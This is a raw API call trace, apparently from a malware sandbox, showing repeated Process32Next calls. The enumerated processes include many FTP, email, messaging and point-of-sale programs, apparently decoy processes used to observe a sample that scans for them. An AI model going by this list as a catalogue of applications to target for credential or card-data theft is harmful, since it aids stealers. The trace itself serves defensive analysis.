lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.058] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.060] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.062] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.064] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0230.066] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0230.068] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.070] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.072] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0230.074] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0230.076] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0230.134] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.136] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0230.138] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0230.140] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0230.142] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0230.144] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0230.146] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0230.148] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0230.149] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0230.153] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0230.155] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0230.156] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0230.158] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0230.160] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0230.162] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0230.164] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0230.166] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0230.168] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0230.269] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0230.271] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0230.272] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0230.273] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0230.275] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0230.276] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0230.278] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0230.279] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0230.281] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0230.282] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0230.283] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0230.285] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0230.286] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0230.288] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0230.290] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0230.292] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0230.293] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0230.295] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0230.297] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0230.298] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0230.350] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0230.352] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0230.354] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0230.356] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0230.358] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0230.360] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0230.362] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0230.366] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0230.367] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0230.369] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0230.371] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0230.373] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0230.375] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0230.377] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0230.378] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0230.380] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0230.382] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0230.384] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0230.385] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0230.387] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0230.389] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0230.390] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0230.447] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0230.449] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0230.451] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0230.454] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0230.456] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0230.458] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0230.460] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0230.463] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0230.465] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0230.468] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0230.470] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0230.473] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0230.475] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 